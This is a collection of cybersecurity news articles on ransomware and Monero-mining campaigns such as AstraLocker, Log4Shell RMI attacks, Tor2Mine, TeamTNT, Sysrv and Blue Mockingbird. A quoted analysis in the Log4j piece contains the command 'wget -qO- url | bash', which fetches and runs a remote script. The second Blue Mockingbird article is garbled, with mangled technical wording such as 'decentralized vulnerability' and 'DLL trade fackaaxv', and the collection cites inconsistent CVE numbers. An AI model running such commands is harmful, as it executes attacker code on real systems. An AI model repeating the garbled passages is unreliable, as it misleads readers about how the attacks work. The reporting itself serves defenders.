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Users get Directly Infected by AstraLocker 2.0 via Word Files

Threat researchers claim that the developers of a ransomware strain named AstraLocker just published its second major version and that its operators conduct quick attacks that throw its payload directly from email attachments. This method is particularly unique because all the intermediary stages that identify email attacks normally serve to elude detection and reduce the likelihood of triggering alarms on email security tools.

ReversingLabs, a firm that has been monitoring AstraLocker operations, claims that the attackers don't appear to be concerned with reconnaissance, the analysis of valuable files, or lateral network movement. It is carrying out a ransomware operation known as "smash and grab." 

The aim of smash and grab is to maximize profit as quickly as possible. Malware developers operate under the presumption that victims or security software will rapidly discover the malware, hence it is preferable to move right along to the finish line. 

Smash-and-grab strategy 

An OLE object with the ransomware payload is concealed in a Microsoft Word document that is the lure utilized by the developers of AstraLocker 2.0. WordDocumentDOC.exe is the filename of the embedded program. 

The user must select "Run" in the warning window that displays after opening the document in order to run the payload, thus decreasing the threat actors' chances of success. 

Researchers point out that this approach is less sophisticated than the recent Follina vulnerability which requires no user involvement or even the use of macros improperly which requires some user interaction. 
Encryption set up

Despite its haste to encrypt, AstraLocker still manages to do certain basic ransomware actions: It attempts to disable security software, disables any active programs that can obstruct encryption, and steers clear of virtual computers, which might suggest that it is being used by lab researchers.

The virus sets up the system for encryption using the Curve25519 method after executing an anti-analysis check to make sure it isn't executing in a virtual machine and that no debuggers are set in other ongoing processes. 

Killing applications that might compromise the encryption, erasing volume shadow copies that would facilitate victim restoration, and disabling a number of backup and antivirus services are all part of the preparation procedure. Instead of encrypting its contents, the Recycle Bin is simply emptied.

AstraLocker origins 

AstraLocker is based on Babuk's stolen source code, a dangerous but flawed ransomware strain that left the market in September 2021, according to ReversingLabs' code analysis. Furthermore, the Chaos ransomware's developers are connected to one of the Monero wallet addresses stated in the ransom text.

Supposedly, this isn't the work of a clever actor, but rather someone who is determined to launch as many devastating attacks as possible, based on the tactics that support the most recent campaign.

Log4j Attackers Switch to Injecting Monero Miners via RMI


The most significant vulnerability identified recently has dominated the news over the last few days. The vulnerability, Log4Shell or LogJam and officially termed CVE-2021-44228, is an unauthenticated RCE flaw that permits total system control on systems running Log4j 2.0-beta9 through 2.14.1. 

As per BleepingComputer, some threat actors using the Apache Log4j vulnerability have switched from LDAP callback URLs to RMI, or even merged the two in a single request, to boost their chances of success. This is a big step forward in the ongoing attack, and firms should be aware of it as they try to secure all possible channels. 

For the time being, threat actors attempting to steal resources for Monero mining have identified this trend, but others may follow suit at any time. The majority of attacks targeting the Log4j "Log4Shell" vulnerability have used the LDAP (Lightweight Directory Access Protocol) service. 

Switching to the RMI (Remote Method Invocation) API may appear counter-intuitive at first sight, given that this technique is subject to additional checks and limitations. 

However, this is not always the case, and if we consider that some JVM (Java Virtual Machine) versions may not have strict rules, RMI may be a more easy way to do RCE (remote code execution) than LDAP. Furthermore, LDAP queries have become a well-established part of the infection chain, and defenders are keeping a close eye on them. Many IDS/IPS solutions, for example, currently filter requests using JNDI and LDAP, thus RMI may be disregarded for the time being. In some cases, Juniper recognised both RMI and LDAP services in the same HTTP POST request. 

As per the source, “This code invokes a bash shell command via the JavaScript scripting engine, using the construction “$@|bash” to execute the downloaded script. During the execution of this command, the bash shell will pipe the attacker’s commands to another bash process: “wget -qO- url | bash”, which downloads and executes a shell script on the target machine."

"This obfuscated script downloads a randomly named file of the form n.png, where n is a number between 0 and 7. Despite the purported file extension, this is actually a Monero cryptominer binary compiled for x84_64 Linux targets. The full script also adds persistence via the cron subsystem."

"A different attack, also detected by Juniper Threat Labs, tries both RMI and LDAP services in the same HTTP POST request in hopes that at least one will work. The LDAP injection string is sent as part of the POST command body. An exploit string in the POST body which is unlikely to succeed given most applications do not log the post body, which can be binary or very large, but by tagging the string as “username” in the JSON body, the attackers hope to exploit applications that will treat this request as a login attempt and log the failure."

Threat actors appear to be interested in mining Monero on hacked devices and promote it as an apparently innocent activity that "ain't going to hurt anyone else." The miner is built for x86 64 Linux systems and uses the cron subsystem for persistence. Even though the majority of attacks have targeted Linux systems. 

CheckPoint states to have discovered the first Win32 program to use Log4Shell, called 'StealthLoader.' by its investigators. 

The only way to combat what has become one of the most serious vulnerabilities in recent history is to upgrade Log4j to version 2.16.0. Administrators should also keep an eye on Apache's security area for new version announcements and execute them as soon as possible.

Tor2mine Crypto Miner Evolves to be a More Dangerous Threat


As cryptocurrencies have grown in popularity among netizens, cryptocurrency mining campaigns have taken center stage in the threat landscape. Crypto mining campaigns have proven to be financially rewarding for cybercriminals, thus they continue to develop new TTPs and malware strains. Sophos discovered that one such miner variant has resurfaced, only stronger. 

Tor2Mine is a Monero miner that has been operating since at least 2019 and is capable of utilizing huge networks of worker devices. Most of these miners carry out these campaigns against Monero. The altcoin appeals to hackers due to its private and untraceable nature. It employs Microsoft's PowerShell scripting language to disable pre-existing malware security on a server and execute a miner payload, which is a stealthy malware designed to farm system resources. 

Tor2Mine also collects Windows credentials, which it uses to distribute and re-infect other PCs on the compromised network. Other systems are not protected if it is not totally removed. Sophos also reported that, while there was a surge in Tor2Mine infections in early 2021, the fall has been accompanied by the development of new variants. These are most likely the result of minor changes made by separate sets of operators or by the same actors between campaigns.

The presence of miners in a network implies the possibility of more potentially harmful intrusions. Furthermore, Tor2Mine appears to be more aggressive than its competitors. Once it has established persistence, it can only be eliminated using endpoint protection and other anti-malware software. Tor2Mine would continue infecting systems even if the C2 server went down due to its lateral movement feature. 

With the spread of cryptocurrency enthusiasm, illicit mining has become a well-established method of obtaining digital assets illegally. According to a new Google cyber security report, 86% of compromised Google Cloud accounts are used for illegal cryptocurrency mining, as well as monitoring and assaulting other prospective targets. 

Interestingly, according to a June research by Kaspersky, crypto-jacking has declined from its peak in 2017-18 during the initial crypto-boom. The total number of users who encountered miners on their devices, on the other hand, grew to 200,045 in March from 187,746 in the first quarter of this year. 

According to Sophos, firms that quickly fix vulnerabilities on internet-facing systems are less likely to be targeted by crypto miners. As threats evolve, it is critical for enterprises to stay ahead of the game by deploying strong cybersecurity protections.

Chimaera Toolkit Found on Thousands of Windows and Linux Systems Worldwide


AT&T's Alien Labs security branch has raised the alarm about a TeamTNT malware campaign that has gone almost totally undiscovered by anti-virus systems and is converting target machines into bitcoin miners, according to the company. TeamTNT, dubbed "one of the most active threat organizations since 2020" by Alien Labs researcher Ofer Caspi, is notorious for its exploitation - and misuse - of open-source security tools for anything from identifying susceptible targets to dumping remote-control shells. 

Last year, TeamTNT was discovered and linked to bitcoin mining malware being installed on susceptible Docker containers. Trend Micro discovered that the organization tries to steal AWS credentials in order to spread to other servers, while Cado Security discovered TeamTNT targeting Kubernetes installations more recently. 

The port scanner Masscan, libprocesshider software for running the TeamTNT bot from memory, 7z for file decompression, the b374k shell php panel for system control, and Lazagne are among TeamTNT's open-source tools. 

Palo Alto Networks' Unit 42 found Chimaera, a software repository that "highlights the expanding scope of TeamTNT operations within cloud environments as well as a target set for current and future operations," according to the company.

Now, AT&T's Alien Labs has shed additional light on Chimaera, claiming that it has been in use since July and is "responsible for thousands of infections globally" across Windows, Linux, AWS, Docker, and Kubernetes targets, all while eluding detection by anti-virus and anti-malware programmes. 

The usage of Lazagne, an open-source application developed with one goal in mind: collecting credentials from major browsers, is a significant element of the Chimaera toolkit. Another programme tries to find and exfiltrate Amazon Web Services (AWS) credentials, while an IRC bot serves as a command and control server.

"In this case, most of the used files that are placed on disk at some point lack a clear malicious purpose by themselves," Caspi told of the reason the malware could go undetected for so long. "The malicious processes injected into memory without touching the disk are harder to identify if they don't share indicators with previous malicious activity or perform any clearly malevolent activity." 

TeamTNT's primary objective is to mine Monero, a privacy-focused cryptocurrency, on victim hardware rather than harvesting credentials. "Mining cryptocurrency has always been TeamTNT's major goal," Caspi stated.

'Sysrv' - New Crypto-Mining Botnet is Silently Expanding it's Reach


It appears that the developers of the ‘Sysrv’ botnet have been working hard in putting out a more sophisticated version of their malware, as the latest surge in the associated activity is accompanied by expanded capabilities and persistence. The actors’ goal is to install Monero crypto miners and make a profit by burdening the machines of others.

Researchers at Juniper Threat Labs have been following the activity and sampled several iterations of the Sysrv since the start of the year and noticed several changes along the way. First of all, during the surge of the attacks, the exploits that were modified into Sysrv concerned the following six vulnerabilities:

• Mongo Express RCE (CVE-2019-10758)
• XXL-JOB Unauth RCE 
• XML-RPC (CVE-2017-11610) 
• CVE-2020-16846 (Saltstack RCE)
• ThinkPHP RCE 
• CVE-2018-7600 (Drupal Ajax RCE) 

By using these flaws, the actors infect a vulnerable system and use it as a Monero miner as well as a point to help the menace spread further. The worming function relies on random public IP scans using the same list of exploits while the payload is fetched from a hardcoded IP or domain via wget, curl, or PowerShell. The researchers noticed the use of two loader scripts, namely or ldr.sp1. 

Sysrv has two binary payloads, one for Linux and one for Windows systems. The miner component is merged with the worm into a single binary in the most recent versions of the malware, whereas previously, it was in the form of a separate binary. The campaign’s effectiveness seems to be moderate, as the researchers were able to confirm that the actors have made at least a couple of thousand USD on each mining pool since December 2020. By looking into the Shodan search engine’s exploits, it becomes clear that Sysrv was tuned to target systems that have been “abandoned.”

However, Sysrv is being actively developed, and its authors are adding more exploits that target recent flaws. The newer versions of the malware include CVE-2021-3129 (Laravel), CVE-2020-14882 (Oracle Weblogic), and CVE-2019-3396 (Widget Connector macro in Atlassian Confluence Server). This alone tells us that Sysrv is here to stay, and it’s going to get nastier with time.

New Self-Spreading Golang Worm Dropping XMRig Miner on Servers


Security researchers at Intezer have found a new self-spreading worm written in GoLang. The malware variant has been actively targeting both Windows and Linux servers, predominantly since December 2020. Researchers noted that the worm developed by China-based hackers attempts to mine Monero, an open-source cryptocurrency launched in 2014 which gained immense popularity and wide acceptance for its privacy-oriented features.
GoLang's rich library ecosystem makes it a top preference for malware developers, who can infiltrate the systems without being detected while working with GoLang's smooth malware creation process. The language makes it easier for hackers to bypass security as the malware written in GoLang is large-sized and scanning large files is beyond the capabilities of most of the antivirus software.

The 'GoLang' malware that has been dropping XMRig cryptocurrency miners on Windows and Linux servers, has worm-like capabilities that let it propagate itself to other systems through brute-forcing. 

The worm attacks application servers, non-HTTP services, and web application frameworks; it has targeted public-facing services rather than "the end-users". MySQL, Tomcat admin panel, and Jenkins are some of its latest victims. Besides, these public-facing services with weak passwords, the malware operators have also tried to compromise Oracle WebLogic Server by exploiting its remote code execution vulnerability – CVE-2020-14882, in an older variant.

Attack Execution 

The worm on the Command and Control (C&C) server was periodically updated by the operators, signifying the current "active" status of the malware. Once the target is being successfully compromised, the attack proceeds with deploying the loader script, a Golang binary worm, and an XMRig Miner – three files hosted on the aforesaid C&C server.

While giving insights into the matter, Chad Anderson, Senior Security Researcher at DomainTools said, “While it’s certainly alarming that there were no detections for this worm’s initial sample, that’s not surprising as Golang malware analysis tooling has still been playing a bit of catch up in the automation space,” 
“We would expect that with the rise in cryptocurrency prices over the last few weeks that actors looking to cash in for a few extra dollars would cause a surge in mining malware,” he further added. 
“The fact that the worm’s code is nearly identical for both its PE and ELF malware—and the ELF malware going undetected in VirusTotal—demonstrates that Linux threats are still flying under the radar for most security and detection platforms,” the report by Intezer read.

The Blue Mockingbird Malware Group Exploits Vulnerabilities in Organizations' Networks

Another notorious crypto-currency mining malware has surfaced which allegedly has been infecting the systems of countless organizations. The group with the control of operations goes by the code name of “Blue Mockingbird”.

The researchers who discovered it have reasons to believe that the Blue Mockingbird has been active since 2019’s last month. Per them, it also targets “public-facing servers” that run “ASP.NET” apps that use the “Telerik framework” for their User Interface (UI) aspect.

Reportedly, the vulnerability that the hackers exploit in the process is the “CVE-2019-18395” vulnerability which is then employed to embed a web shell on the target’s server. Per the same report, later on they employ a version of “the Juicy Potato technique” to obtain the admin-access and alter the server settings to get access to the “(re)boot persistence”.

After having obtained complete access to a system, sources mention, the malware group installs a version of XMRRig which is a famous crypto-currency mining application particularly for the “Monero (XMR)” crypto-currency.

As per reports, if the public-facing IIS servers are linked with a company’s internal network, the malware group has a probability of trying to expand internally through an improperly-secured Server Message Block (SMB) connections or Remote Desktop Protocol ((RDP).

The exact number of infections that the botnet has caused isn’t all too clear but if an estimate was to be made the operations include 1,000 infections at the least. There also doesn’t seem to be a way to find the intensity of the threat.

Not many organizations out of the ones that were being observed by the researchers have been hit with this particular threat. And over a really little amount of time that they were tracked the above-mentioned number of infections surfaced.

Nevertheless, all companies alike are susceptible to this attack, even the ones that think they are safe and the number of infections could be more than estimated.

As per sources, the Telerik UI component which is allegedly vulnerable is a part of ASP.NET applications that run on their latest versions, even then the Telerik component may have versions that are out-dated but harmful to organizations, nonetheless. This component could exist in the applications used by a company and they might not even know about it leaving them endangered.

The Telerik UI CVE-2019-18935 vulnerability, per reports, has been widely let known as the one that is employed to embed web shells on servers. Another mentioned that this vulnerability is the most exploited and organizations need to better their firewalls to fight it. If for some reason the organizations don’t happen to have a web firewall they could always look for warning precursors in the server and workstation, reports cite.

Blue Mockingbird , a cryptocurrancy mining campaign exploits web applications

Analysts at Red Canary, a cybersecurity firm have discovered a Monero cryptocurrency-mining campaign that exploits a deserialization vulnerability, CVE-2019-18935 in public-facing web applications built on ASP.NET web framework.

They named it "Blue Mockingbird", it uses the decentralized vulnerability found in Progress Telerik UI front-end offering for ASP.NET AJAX for remote code execution. AJAX (Asynchronous JavaScript and XML) is a tool used for adding the script to a webpage to be processed and executed by the browser.

This particular vulnerability CVE-2019-18935 is found in the RadAsyncUpload function, as stated by National Vulnerability Database. It is exploited by knowing the encryption key (by means of another attack or method).

The analyst traced backed the campaign to December and till April. The cybercriminals are using the unpatched versions of Telerik UI for ASP.NET, where the vulnerability has not been fixed and injecting the XMRig Monero-mining payload through the vulnerability and spreading it through the network.

XMRig is open-source and can be accumulated into custom tooling, as per the investigation by the analyst. Red Canary has discovered three unmistakable execution ways: Execution with rundll32.exe expressly calling the DLL trade fackaaxv; execution utilizing regsvr32.exe utilizing the/s command line choice, and execution with the payload arranged as a Windows Service DLL.

"Each payload comes compiled with a standard list of commonly used Monero-mining domains alongside a Monero wallet address,” state researchers at Red Canary, in a writeup. “So far, we’ve identified two wallet addresses used by Blue Mockingbird that are inactive circulation. Due to the private nature of Monero, we cannot see the balance of these wallets to estimate their success.”

To set up persistence, Blue Mockingbird hackers should initially first gain login and hoist their privileges, which they do utilize different strategies; for example, utilizing a JuicyPotato exploit to raise benefits from an IIS Application Pool Personality virtual account to the NT Authority\SYSTEM account. In another case, the Mimikatz apparatus (the authority marked version) was utilized to get login credentials.

After getting these logins and privileges, the Blue Mockingbird used multiple techniques like COR_PROFILER COM to execute DLL.

“To use COR_PROFILER, they used wmic.exe and Windows Registry modifications to set environment variables and specify a DLL payload,” the writeup briefed.

In preventing threats like these that exploit vulnerabilities, patches for web servers, web applications, and dependencies of the applications are the best firewall.